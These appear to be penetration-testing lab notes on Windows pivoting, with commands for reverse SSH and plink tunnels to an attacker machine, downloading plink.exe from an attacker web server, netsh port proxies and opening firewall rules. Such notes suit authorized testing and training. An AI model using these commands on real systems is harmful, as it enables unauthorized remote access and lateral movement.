2. Windows Port Forwarding


SSH Remote Dynamic Port Forwarding:

  1. Start SSH server on attacker machine:
sudo systemctl start ssh
  1. Locate ssh.exe in cmd on target:
where ssh
  1. Check version of ssh:
ssh.exe -V
  1. Set up port forwarding:
ssh -N -R 2345 crabfeather@192.168.45.180
  1. Use with proxychains and win!

  1. Download the plink.exe binary to the target:
#Start server:
sudo systemctl start apache2

#Download binary:
powershell wget -Uri http://192.168.45.X/plink.exe -OutFile C:\Windows\Temp\plink.exe
  1. Start port forwarding (use Windows' loopback IP + its listening RDP port to be able to use RDP from kali):
cmd.exe /c echo y | C:\Windows\Temp\plink.exe -ssh -l <kaliuser> -pw <kalipassword> -R 127.0.0.1:2345:<outip>:<outport> <kali-ip>

Example: Port forwarding using Windows' loopback IP + its listening RDP port to be able to use RDP from kali:

cmd.exe /c echo y | C:\Windows\Temp\plink.exe -ssh -l <kaliuser> -pw <kalipassword> -R 127.0.0.1:4455:127.0.0.1:3389 <kali-ip>

Netsh local port forwarding + firewall poking:

  1. Set up port forwarding:
netsh interface portproxy add v4tov4 listenport=2222 listenaddress=192.168.230.64 connectport=22 connectaddress=10.4.230.215
  1. Confirm it is working:
netsh interface portproxy show all
  1. Poke hole in firewall outwards:
netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=192.168.230.64 localport=2222 action=allow
  1. Delete rules afterwards:
netsh interface portproxy del v4tov4 listenport=2222 listenaddress=192.168.50.64